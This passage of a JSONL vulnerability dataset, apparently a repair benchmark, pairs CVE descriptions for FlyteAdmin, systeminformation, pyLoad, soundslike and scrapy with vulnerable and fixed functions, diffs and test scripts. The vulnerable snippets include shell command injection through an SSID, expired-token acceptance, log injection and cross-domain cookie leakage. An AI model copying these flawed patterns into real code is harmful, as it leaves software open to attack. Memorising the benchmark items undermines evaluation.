Cache-Control to avoid storing sensible information in Browser cache.\n    if no_cache:\n        response.headers['Cache-control'] = 'no-cache, no-store, must-revalidate, max-age=0'\n        response.headers['Pragma'] = 'no-cache'\n        response.headers['Expires'] = '0'\n\n    # Add Referrer-Policy\n    if referrer:\n        response.headers['Referrer-Policy'] = referrer\n\n    # Add X-Content-Type-Options to avoid browser to \"sniff\" to content-type\n    if nosniff:\n        response.headers['X-Content-Type-Options'] = 'nosniff'\n\n    # Add X-XSS-Protection to enabled XSS protection\n    if xxp:\n        response.headers['X-XSS-Protection'] = xxp\n\n    # Add Content-Security-Policy\n    if csp:\n        response.headers['Content-Security-Policy'] = csp\n\n    # Add Strict-Transport-Security to force https use.\n    if https:\n        response.headers['Strict-Transport-Security'] = \"max-age=31536000; includeSubDomains\"\n\n\ncherrypy.tools.secure_headers = cherrypy.Tool('before_request_body', set_headers, priority=71)"}], "vul_patch": "--- a/rdiffweb/tools/secure_headers.py\n+++ b/rdiffweb/tools/secure_headers.py\n@@ -26,7 +26,7 @@\n     # Check if Origin matches our target.\n     if request.method in ['POST', 'PUT', 'PATCH', 'DELETE']:\n         origin = request.headers.get('Origin', None)\n-        if origin and not origin.startswith(request.base):\n+        if origin and origin != request.base:\n             raise cherrypy.HTTPError(403, 'Unexpected Origin header')\n \n     # Check if https is enabled\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31145", "cve_description": "FlyteAdmin is the control plane for Flyte responsible for managing entities and administering workflow executions. In versions 1.1.30 and prior, authenticated users using an external identity provider can continue to use Access Tokens and ID Tokens even after they expire. Users who use FlyteAdmin as the OAuth2 Authorization Server are unaffected by this issue. A patch is available on the `master` branch of the repository. As a workaround, rotating signing keys immediately will invalidate all open sessions and force all users to attempt to obtain new tokens. Those who use this workaround should continue to rotate keys until FlyteAdmin has been upgraded and hide FlyteAdmin deployment ingress URL from the internet.", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/flyteorg/flyteadmin", "patch_url": ["https://github.com/flyteorg/flyteadmin/commit/a1ec282d02706e074bc4986fd0412e5da3b9d00a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_65_1", "commit": "f18839d", "file_path": "auth/authzserver/resource_server.go", "start_line": 30, "end_line": 42, "snippet": "func (r ResourceServer) ValidateAccessToken(ctx context.Context, expectedAudience, tokenStr string) (interfaces.IdentityContext, error) {\n\traw, err := r.signatureVerifier.VerifySignature(ctx, tokenStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclaimsRaw := map[string]interface{}{}\n\tif err = json.Unmarshal(raw, &claimsRaw); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to unmarshal user info claim into UserInfo type. Error: %w\", err)\n\t}\n\n\treturn verifyClaims(sets.NewString(append(r.allowedAudience, expectedAudience)...), claimsRaw)\n}"}], "fix_func": [{"id": "fix_go_65_1", "commit": "a1ec282d02706e074bc4986fd0412e5da3b9d00a", "file_path": "auth/authzserver/resource_server.go", "start_line": 31, "end_line": 47, "snippet": "func (r ResourceServer) ValidateAccessToken(ctx context.Context, expectedAudience, tokenStr string) (interfaces.IdentityContext, error) {\n\t_, err := r.signatureVerifier.VerifySignature(ctx, tokenStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tt, _, err := jwtgo.NewParser().ParseUnverified(tokenStr, jwtgo.MapClaims{})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse token: %v\", err)\n\t}\n\n\tif err = t.Claims.Valid(); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to validate token: %v\", err)\n\t}\n\n\treturn verifyClaims(sets.NewString(append(r.allowedAudience, expectedAudience)...), t.Claims.(jwtgo.MapClaims))\n}"}, {"id": "fix_go_65_2", "commit": "a1ec282d02706e074bc4986fd0412e5da3b9d00a", "file_path": "auth/authzserver/resource_server.go", "start_line": 7, "end_line": 7, "snippet": "\tjwtgo \"github.com/golang-jwt/jwt/v4\""}], "vul_patch": "--- a/auth/authzserver/resource_server.go\n+++ b/auth/authzserver/resource_server.go\n@@ -1,13 +1,17 @@\n func (r ResourceServer) ValidateAccessToken(ctx context.Context, expectedAudience, tokenStr string) (interfaces.IdentityContext, error) {\n-\traw, err := r.signatureVerifier.VerifySignature(ctx, tokenStr)\n+\t_, err := r.signatureVerifier.VerifySignature(ctx, tokenStr)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n \n-\tclaimsRaw := map[string]interface{}{}\n-\tif err = json.Unmarshal(raw, &claimsRaw); err != nil {\n-\t\treturn nil, fmt.Errorf(\"failed to unmarshal user info claim into UserInfo type. Error: %w\", err)\n+\tt, _, err := jwtgo.NewParser().ParseUnverified(tokenStr, jwtgo.MapClaims{})\n+\tif err != nil {\n+\t\treturn nil, fmt.Errorf(\"failed to parse token: %v\", err)\n \t}\n \n-\treturn verifyClaims(sets.NewString(append(r.allowedAudience, expectedAudience)...), claimsRaw)\n+\tif err = t.Claims.Valid(); err != nil {\n+\t\treturn nil, fmt.Errorf(\"failed to validate token: %v\", err)\n+\t}\n+\n+\treturn verifyClaims(sets.NewString(append(r.allowedAudience, expectedAudience)...), t.Claims.(jwtgo.MapClaims))\n }\n\n--- /dev/null\n+++ b/auth/authzserver/resource_server.go\n@@ -0,0 +1 @@\n+\tjwtgo \"github.com/golang-jwt/jwt/v4\"\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-31145:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/flyteadmin\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestResourceServer_ValidateAccessToken$ github.com/flyteorg/flyteadmin/auth/authzserver\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-31145:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/flyteadmin\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestEncryptDecrypt|TestAuthCallbackEndpoint|Test_unmarshalResp|TestGetIssuer|TestResourceServer_ValidateAccessToken|TestAuthEndpoint|Test_getJwksForIssuer|Test_doRequest|TestNewOAuth2ResourceServer)$' github.com/flyteorg/flyteadmin/auth/authzserver\n"}
{"cve_id": "CVE-2024-56334", "cve_description": "systeminformation is a System and OS information library for node.js. In affected versions SSIDs are not sanitized when before they are passed as a parameter to cmd.exe in the `getWindowsIEEE8021x` function. This means that malicious content in the SSID can be executed as OS commands. This vulnerability may enable an attacker, depending on how the package is used, to perform remote code execution or local privilege escalation. This issue has been addressed in version 5.23.7 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/sebhildebrandt/systeminformation", "patch_url": ["https://github.com/sebhildebrandt/systeminformation/commit/f7af0a67b78e7894335a6cad510566a25e06ae41"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_285_1", "commit": "51c7698b91789e00d2308c9f95249ca3bb27a176", "file_path": "lib/network.js", "start_line": 347, "end_line": 356, "snippet": "function getWindowsWirelessIfaceSSID(interfaceName) {\n  try {\n    const result = execSync(`netsh wlan show  interface name=\"${interfaceName}\" | findstr \"SSID\"`, util.execOptsWin);\n    const SSID = result.split('\\r\\n').shift();\n    const parseSSID = SSID.split(':').pop();\n    return parseSSID;\n  } catch (error) {\n    return 'Unknown';\n  }\n}"}, {"id": "vul_js_285_2", "commit": "51c7698b91789e00d2308c9f95249ca3bb27a176", "file_path": "lib/network.js", "start_line": 357, "end_line": 421, "snippet": "function getWindowsIEEE8021x(connectionType, iface, ifaces) {\n  let i8021x = {\n    state: 'Unknown',\n    protocol: 'Unknown',\n  };\n\n  if (ifaces === 'Disabled') {\n    i8021x.state = 'Disabled';\n    i8021x.protocol = 'Not defined';\n    return i8021x;\n  }\n\n  if (connectionType == 'wired' && ifaces.length > 0) {\n    try {\n      // Get 802.1x information by interface name\n      const iface8021xInfo = ifaces.find((element) => {\n        return element.includes(iface + '\\r\\n');\n      });\n      const arrayIface8021xInfo = iface8021xInfo.split('\\r\\n');\n      const state8021x = arrayIface8021xInfo.find((element) => {\n        return element.includes('802.1x');\n      });\n\n      if (state8021x.includes('Disabled')) {\n        i8021x.state = 'Disabled';\n        i8021x.protocol = 'Not defined';\n      } else if (state8021x.includes('Enabled')) {\n        const protocol8021x = arrayIface8021xInfo.find((element) => {\n          return element.includes('EAP');\n        });\n        i8021x.protocol = protocol8021x.split(':').pop();\n        i8021x.state = 'Enabled';\n      }\n    } catch (error) {\n      return i8021x;\n    }\n  } else if (connectionType == 'wireless') {\n\n    let i8021xState = '';\n    let i8021xProtocol = '';\n\n\n\n    try {\n      const SSID = getWindowsWirelessIfaceSSID(iface);\n      if (SSID !== 'Unknown') {\n        i8021xState = execSync(`netsh wlan show profiles \"${SSID}\" | findstr \"802.1X\"`, util.execOptsWin);\n        i8021xProtocol = execSync(`netsh wlan show profiles \"${SSID}\" | findstr \"EAP\"`, util.execOptsWin);\n      }\n\n      if (i8021xState.includes(':') && i8021xProtocol.includes(':')) {\n        i8021x.state = i8021xState.split(':').pop();\n        i8021x.protocol = i8021xProtocol.split(':').pop();\n      }\n    } catch (error) {\n      if (error.status === 1 && error.stdout.includes('AutoConfig')) {\n        i8021x.state = 'Disabled';\n        i8021x.protocol = 'Not defined';\n      }\n      return i8021x;\n    }\n  }\n\n  return i8021x;\n}"}], "fix_func": [{"id": "fix_js_285_1", "commit": "f7af0a67b78e7894335a6cad510566a25e06ae41", "file_path": "lib/network.js", "start_line": 347, "end_line": 356, "snippet": "function getWindowsWirelessIfaceSSID(interfaceName) {\n  try {\n    const result = execSync(`netsh wlan show  interface name=\"${interfaceName}\" | findstr \"SSID\"`, util.execOptsWin);\n    const SSID = result.split('\\r\\n').shift();\n    const parseSSID = SSID.split(':').pop().trim();\n    return parseSSID;\n  } catch (error) {\n    return 'Unknown';\n  }\n}"}, {"id": "fix_js_285_2", "commit": "f7af0a67b78e7894335a6cad510566a25e06ae41", "file_path": "lib/network.js", "start_line": 357, "end_line": 431, "snippet": "function getWindowsIEEE8021x(connectionType, iface, ifaces) {\n  let i8021x = {\n    state: 'Unknown',\n    protocol: 'Unknown',\n  };\n\n  if (ifaces === 'Disabled') {\n    i8021x.state = 'Disabled';\n    i8021x.protocol = 'Not defined';\n    return i8021x;\n  }\n\n  if (connectionType == 'wired' && ifaces.length > 0) {\n    try {\n      // Get 802.1x information by interface name\n      const iface8021xInfo = ifaces.find((element) => {\n        return element.includes(iface + '\\r\\n');\n      });\n      const arrayIface8021xInfo = iface8021xInfo.split('\\r\\n');\n      const state8021x = arrayIface8021xInfo.find((element) => {\n        return element.includes('802.1x');\n      });\n\n      if (state8021x.includes('Disabled')) {\n        i8021x.state = 'Disabled';\n        i8021x.protocol = 'Not defined';\n      } else if (state8021x.includes('Enabled')) {\n        const protocol8021x = arrayIface8021xInfo.find((element) => {\n          return element.includes('EAP');\n        });\n        i8021x.protocol = protocol8021x.split(':').pop();\n        i8021x.state = 'Enabled';\n      }\n    } catch (error) {\n      return i8021x;\n    }\n  } else if (connectionType == 'wireless') {\n\n    let i8021xState = '';\n    let i8021xProtocol = '';\n\n\n\n    try {\n      const SSID = getWindowsWirelessIfaceSSID(iface);\n      if (SSID !== 'Unknown') {\n\n        let ifaceSanitized = '';\n        const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(SSID);\n        const l = util.mathMin(s.length, 2000);\n\n        for (let i = 0; i <= l; i++) {\n          if (s[i] !== undefined) {\n            ifaceSanitized = ifaceSanitized + s[i];\n          }\n        }\n        i8021xState = execSync(`netsh wlan show profiles \"${ifaceSanitized}\" | findstr \"802.1X\"`, util.execOptsWin);\n        i8021xProtocol = execSync(`netsh wlan show profiles \"${ifaceSanitized}\" | findstr \"EAP\"`, util.execOptsWin);\n      }\n\n      if (i8021xState.includes(':') && i8021xProtocol.includes(':')) {\n        i8021x.state = i8021xState.split(':').pop();\n        i8021x.protocol = i8021xProtocol.split(':').pop();\n      }\n    } catch (error) {\n      if (error.status === 1 && error.stdout.includes('AutoConfig')) {\n        i8021x.state = 'Disabled';\n        i8021x.protocol = 'Not defined';\n      }\n      return i8021x;\n    }\n  }\n\n  return i8021x;\n}"}], "vul_patch": "--- a/lib/network.js\n+++ b/lib/network.js\n@@ -2,7 +2,7 @@\n   try {\n     const result = execSync(`netsh wlan show  interface name=\"${interfaceName}\" | findstr \"SSID\"`, util.execOptsWin);\n     const SSID = result.split('\\r\\n').shift();\n-    const parseSSID = SSID.split(':').pop();\n+    const parseSSID = SSID.split(':').pop().trim();\n     return parseSSID;\n   } catch (error) {\n     return 'Unknown';\n\n--- a/lib/network.js\n+++ b/lib/network.js\n@@ -44,8 +44,18 @@\n     try {\n       const SSID = getWindowsWirelessIfaceSSID(iface);\n       if (SSID !== 'Unknown') {\n-        i8021xState = execSync(`netsh wlan show profiles \"${SSID}\" | findstr \"802.1X\"`, util.execOptsWin);\n-        i8021xProtocol = execSync(`netsh wlan show profiles \"${SSID}\" | findstr \"EAP\"`, util.execOptsWin);\n+\n+        let ifaceSanitized = '';\n+        const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(SSID);\n+        const l = util.mathMin(s.length, 2000);\n+\n+        for (let i = 0; i <= l; i++) {\n+          if (s[i] !== undefined) {\n+            ifaceSanitized = ifaceSanitized + s[i];\n+          }\n+        }\n+        i8021xState = execSync(`netsh wlan show profiles \"${ifaceSanitized}\" | findstr \"802.1X\"`, util.execOptsWin);\n+        i8021xProtocol = execSync(`netsh wlan show profiles \"${ifaceSanitized}\" | findstr \"EAP\"`, util.execOptsWin);\n       }\n \n       if (i8021xState.includes(':') && i8021xProtocol.includes(':')) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-21645", "cve_description": "pyLoad is the free and open-source Download Manager written in pure Python. A log injection vulnerability was identified in `pyload` allowing any unauthenticated actor to inject arbitrary messages into the logs gathered by `pyload`. Forged or otherwise, corrupted log files can be used to cover an attacker\u2019s tracks or even to implicate another party in the commission of a malicious act. This vulnerability has been patched in version 0.5.0b3.dev77.\n", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/pyload/pyload", "patch_url": ["https://github.com/pyload/pyload/commit/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_159_1", "commit": "bb22063", "file_path": "src/pyload/webui/app/blueprints/api_blueprint.py", "start_line": 82, "end_line": 97, "snippet": "def login():\n    user = flask.request.form[\"username\"]\n    password = flask.request.form[\"password\"]\n\n    api = flask.current_app.config[\"PYLOAD_API\"]\n    user_info = api.check_auth(user, password)\n\n    if not user_info:\n        log.error(f\"Login failed for user '{user}'\")\n        return jsonify(False)\n\n    s = set_session(user_info)\n    log.info(f\"User '{user}' successfully logged in\")\n    flask.flash(\"Logged in successfully\")\n\n    return jsonify(s)"}, {"id": "vul_py_159_2", "commit": "bb22063", "file_path": "src/pyload/webui/app/blueprints/app_blueprint.py", "start_line": 47, "end_line": 78, "snippet": "def login():\n    api = flask.current_app.config[\"PYLOAD_API\"]\n\n    next = get_redirect_url(fallback=flask.url_for(\"app.dashboard\"))\n\n    if flask.request.method == \"POST\":\n        user = flask.request.form[\"username\"]\n        password = flask.request.form[\"password\"]\n        user_info = api.check_auth(user, password)\n\n        if not user_info:\n            log.error(f\"Login failed for user '{user}'\")\n            return render_template(\"login.html\", next=next, errors=True)\n\n        set_session(user_info)\n        log.info(f\"User '{user}' successfully logged in\")\n        flask.flash(\"Logged in successfully\")\n\n    if is_authenticated():\n        return flask.redirect(next)\n\n    if api.get_config_value(\"webui\", \"autologin\"):\n        allusers = api.get_all_userdata()\n        if len(allusers) == 1:  # TODO: check if localhost\n            user_info = list(allusers.values())[0]\n            set_session(user_info)\n            # NOTE: Double-check authentication here because if session[name] is empty,\n            #       next login_required redirects here again and all loop out.\n            if is_authenticated():\n                return flask.redirect(next)\n\n    return render_template(\"login.html\", next=next)"}], "fix_func": [{"id": "fix_py_159_1", "commit": "4159a11", "file_path": "src/pyload/webui/app/blueprints/api_blueprint.py", "start_line": 82, "end_line": 98, "snippet": "def login():\n    user = flask.request.form[\"username\"]\n    password = flask.request.form[\"password\"]\n\n    api = flask.current_app.config[\"PYLOAD_API\"]\n    user_info = api.check_auth(user, password)\n\n    sanitized_user = user.replace(\"\\n\", \"\\\\n\").replace(\"\\r\", \"\\\\r\")\n    if not user_info:\n        log.error(f\"Login failed for user '{sanitized_user}'\")\n        return jsonify(False)\n\n    s = set_session(user_info)\n    log.info(f\"User '{sanitized_user}' successfully logged in\")\n    flask.flash(\"Logged in successfully\")\n\n    return jsonify(s)"}, {"id": "fix_py_159_2", "commit": "4159a11", "file_path": "src/pyload/webui/app/blueprints/app_blueprint.py", "start_line": 47, "end_line": 79, "snippet": "def login():\n    api = flask.current_app.config[\"PYLOAD_API\"]\n\n    next = get_redirect_url(fallback=flask.url_for(\"app.dashboard\"))\n\n    if flask.request.method == \"POST\":\n        user = flask.request.form[\"username\"]\n        password = flask.request.form[\"password\"]\n        user_info = api.check_auth(user, password)\n\n        sanitized_user = user.replace(\"\\n\", \"\\\\n\").replace(\"\\r\", \"\\\\r\")\n        if not user_info:\n            log.error(f\"Login failed for user '{sanitized_user}'\")\n            return render_template(\"login.html\", next=next, errors=True)\n\n        set_session(user_info)\n        log.info(f\"User '{sanitized_user}' successfully logged in\")\n        flask.flash(\"Logged in successfully\")\n\n    if is_authenticated():\n        return flask.redirect(next)\n\n    if api.get_config_value(\"webui\", \"autologin\"):\n        allusers = api.get_all_userdata()\n        if len(allusers) == 1:  # TODO: check if localhost\n            user_info = list(allusers.values())[0]\n            set_session(user_info)\n            # NOTE: Double-check authentication here because if session[name] is empty,\n            #       next login_required redirects here again and all loop out.\n            if is_authenticated():\n                return flask.redirect(next)\n\n    return render_template(\"login.html\", next=next)"}], "vul_patch": "--- a/src/pyload/webui/app/blueprints/api_blueprint.py\n+++ b/src/pyload/webui/app/blueprints/api_blueprint.py\n@@ -5,12 +5,13 @@\n     api = flask.current_app.config[\"PYLOAD_API\"]\n     user_info = api.check_auth(user, password)\n \n+    sanitized_user = user.replace(\"\\n\", \"\\\\n\").replace(\"\\r\", \"\\\\r\")\n     if not user_info:\n-        log.error(f\"Login failed for user '{user}'\")\n+        log.error(f\"Login failed for user '{sanitized_user}'\")\n         return jsonify(False)\n \n     s = set_session(user_info)\n-    log.info(f\"User '{user}' successfully logged in\")\n+    log.info(f\"User '{sanitized_user}' successfully logged in\")\n     flask.flash(\"Logged in successfully\")\n \n     return jsonify(s)\n\n--- a/src/pyload/webui/app/blueprints/app_blueprint.py\n+++ b/src/pyload/webui/app/blueprints/app_blueprint.py\n@@ -8,12 +8,13 @@\n         password = flask.request.form[\"password\"]\n         user_info = api.check_auth(user, password)\n \n+        sanitized_user = user.replace(\"\\n\", \"\\\\n\").replace(\"\\r\", \"\\\\r\")\n         if not user_info:\n-            log.error(f\"Login failed for user '{user}'\")\n+            log.error(f\"Login failed for user '{sanitized_user}'\")\n             return render_template(\"login.html\", next=next, errors=True)\n \n         set_session(user_info)\n-        log.info(f\"User '{user}' successfully logged in\")\n+        log.info(f\"User '{sanitized_user}' successfully logged in\")\n         flask.flash(\"Logged in successfully\")\n \n     if is_authenticated():\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-20172", "cve_description": "A vulnerability was found in ridhoq soundslike. It has been classified as critical. Affected is the function get_song_relations of the file app/api/songs.py. The manipulation leads to sql injection. The patch is identified as 90bb4fb667d9253d497b619b9adaac83bf0ce0f8. It is recommended to apply a patch to fix this issue. VDB-218490 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/ridhoq/soundslike", "patch_url": ["https://github.com/ridhoq/soundslike/commit/90bb4fb667d9253d497b619b9adaac83bf0ce0f8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_339_1", "commit": "d45460ef045843c711536a4a24973d73d0aa7569", "file_path": "app/api/songs.py", "start_line": 64, "end_line": 69, "snippet": "def get_song_relations(id):\n    top = request.args.get('top')\n    song = Song.query.filter_by(id=id).first()\n    if not song:\n        return route_not_found(song)\n    return make_response(jsonify(song.get_related_songs_json(top)), 200)"}], "fix_func": [{"id": "fix_py_339_1", "commit": "90bb4fb667d9253d497b619b9adaac83bf0ce0f8", "file_path": "app/api/songs.py", "start_line": 64, "end_line": 73, "snippet": "def get_song_relations(id):\n    top_str = request.args.get('top')\n    if not top_str.isdigit() or not int(top_str) > 0:\n        message = 'top query param must be an int greater than 0'\n        return bad_request(message)\n    top = int(request.args.get('top'))\n    song = Song.query.filter_by(id=id).first()\n    if not song:\n        return route_not_found(song)\n    return make_response(jsonify(song.get_related_songs_json(top)), 200)"}], "vul_patch": "--- a/app/api/songs.py\n+++ b/app/api/songs.py\n@@ -1,5 +1,9 @@\n def get_song_relations(id):\n-    top = request.args.get('top')\n+    top_str = request.args.get('top')\n+    if not top_str.isdigit() or not int(top_str) > 0:\n+        message = 'top query param must be an int greater than 0'\n+        return bad_request(message)\n+    top = int(request.args.get('top'))\n     song = Song.query.filter_by(id=id).first()\n     if not song:\n         return route_not_found(song)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0577", "cve_description": "Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository scrapy/scrapy prior to 2.6.1.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/scrapy/scrapy", "patch_url": ["https://github.com/scrapy/scrapy/commit/8ce01b3b76d4634f55067d6cfdf632ec70ba304a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_49_1", "commit": "aa0306a", "file_path": "scrapy/downloadermiddlewares/redirect.py", "start_line": 49, "end_line": 53, "snippet": "    def _redirect_request_using_get(self, request, redirect_url):\n        redirected = request.replace(url=redirect_url, method='GET', body='')\n        redirected.headers.pop('Content-Type', None)\n        redirected.headers.pop('Content-Length', None)\n        return redirected"}, {"id": "vul_py_49_2", "commit": "aa0306a", "file_path": "scrapy/downloadermiddlewares/redirect.py", "start_line": 62, "end_line": 87, "snippet": "    def process_response(self, request, response, spider):\n        if (\n            request.meta.get('dont_redirect', False)\n            or response.status in getattr(spider, 'handle_httpstatus_list', [])\n            or response.status in request.meta.get('handle_httpstatus_list', [])\n            or request.meta.get('handle_httpstatus_all', False)\n        ):\n            return response\n\n        allowed_status = (301, 302, 303, 307, 308)\n        if 'Location' not in response.headers or response.status not in allowed_status:\n            return response\n\n        location = safe_url_string(response.headers['Location'])\n        if response.headers['Location'].startswith(b'//'):\n            request_scheme = urlparse(request.url).scheme\n            location = request_scheme + '://' + location.lstrip('/')\n\n        redirected_url = urljoin(request.url, location)\n\n        if response.status in (301, 307, 308) or request.method == 'HEAD':\n            redirected = request.replace(url=redirected_url)\n            return self._redirect(redirected, request, spider, response.status)\n\n        redirected = self._redirect_request_using_get(request, redirected_url)\n        return self._redirect(redirected, request, spider, response.status)"}], "fix_func": [{"id": "fix_py_49_1", "commit": "8ce01b3", "file_path": "scrapy/downloadermiddlewares/redirect.py", "start_line": 65, "end_line": 74, "snippet": "    def _redirect_request_using_get(self, request, redirect_url):\n        redirect_request = _build_redirect_request(\n            request,\n            url=redirect_url,\n            method='GET',\n            body='',\n        )\n        redirect_request.headers.pop('Content-Type', None)\n        redirect_request.headers.pop('Content-Length', None)\n        return redirect_request"}, {"id": "fix_py_49_2", "commit": "8ce01b3", "file_path": "scrapy/downloadermiddlewares/redirect.py", "start_line": 83, "end_line": 108, "snippet": "    def process_response(self, request, response, spider):\n        if (\n            request.meta.get('dont_redirect', False)\n            or response.status in getattr(spider, 'handle_httpstatus_list', [])\n            or response.status in request.meta.get('handle_httpstatus_list', [])\n            or request.meta.get('handle_httpstatus_all', False)\n        ):\n            return response\n\n        allowed_status = (301, 302, 303, 307, 308)\n        if 'Location' not in response.headers or response.status not in allowed_status:\n            return response\n\n        location = safe_url_string(response.headers['Location'])\n        if response.headers['Location'].startswith(b'//'):\n            request_scheme = urlparse(request.url).scheme\n            location = request_scheme + '://' + location.lstrip('/')\n\n        redirected_url = urljoin(request.url, location)\n\n        if response.status in (301, 307, 308) or request.method == 'HEAD':\n            redirected = _build_redirect_request(request, url=redirected_url)\n            return self._redirect(redirected, request, spider, response.status)\n\n        redirected = self._redirect_request_using_get(request, redirected_url)\n        return self._redirect(redirected, request, spider, response.status)"}, {"id": "fix_py_49_3", "commit": "8ce01b3", "file_path": "scrapy/downloadermiddlewares/redirect.py", "start_line": 15, "end_line": 27, "snippet": "def _build_redirect_request(source_request, *, url, method=None, body=None):\n    redirect_request = source_request.replace(\n        url=url,\n        method=method,\n        body=body,\n        cookies=None,\n    )\n    if 'Cookie' in redirect_request.headers:\n        source_request_netloc = urlparse_cached(source_request).netloc\n        redirect_request_netloc = urlparse_cached(redirect_request).netloc\n        if source_request_netloc != redirect_request_netloc:\n            del redirect_request.headers['Cookie']\n    return redirect_request"}], "vul_patch": "--- a/scrapy/downloadermiddlewares/redirect.py\n+++ b/scrapy/downloadermiddlewares/redirect.py\n@@ -1,5 +1,10 @@\n     def _redirect_request_using_get(self, request, redirect_url):\n-        redirected = request.replace(url=redirect_url, method='GET', body='')\n-        redirected.headers.pop('Content-Type', None)\n-        redirected.headers.pop('Content-Length', None)\n-        return redirected\n+        redirect_request = _build_redirect_request(\n+            request,\n+            url=redirect_url,\n+            method='GET',\n+            body='',\n+        )\n+        redirect_request.headers.pop('Content-Type', None)\n+        redirect_request.headers.pop('Content-Length', None)\n+        return redirect_request\n\n--- a/scrapy/downloadermiddlewares/redirect.py\n+++ b/scrapy/downloadermiddlewares/redirect.py\n@@ -19,7 +19,7 @@\n         redirected_url = urljoin(request.url, location)\n \n         if response.status in (301, 307, 308) or request.method == 'HEAD':\n-            redirected = request.replace(url=redirected_url)\n+            redirected = _build_redirect_request(request, url=redirected_url)\n             return self._redirect(redirected, request, spider, response.status)\n \n         redirected = self._redirect_request_using_get(request, redirected_url)\n\n--- /dev/null\n+++ b/scrapy/downloadermiddlewares/redirect.py\n@@ -0,0 +1,13 @@\n+def _build_redirect_request(source_request, *, url, method=None, body=None):\n+    redirect_request = source_request.replace(\n+        url=url,\n+        method=method,\n+        body=body,\n+        cookies=None,\n+    )\n+    if 'Cookie' in redirect_request.headers:\n+        source_request_netloc = urlparse_cached(source_request).netloc\n+        redirect_request_netloc = urlparse_cached(redirect_request).netloc\n+        if source_request_netloc != redirect_request_netloc:\n+            del redirect_request.headers['Cookie']\n+    return redirect_request\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0577:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/scrapy\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-0577/bin/python -m pytest tests/test_downloadermiddleware_cookies.py -k \"test_cookie_redirect_ or test_cookie_header_redirect_\" -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0577:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/scrapy\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-0577/bin/python -m pytest tests/test_downloadermiddleware_cookies.py -p no:warning --disable-warnings\n"}
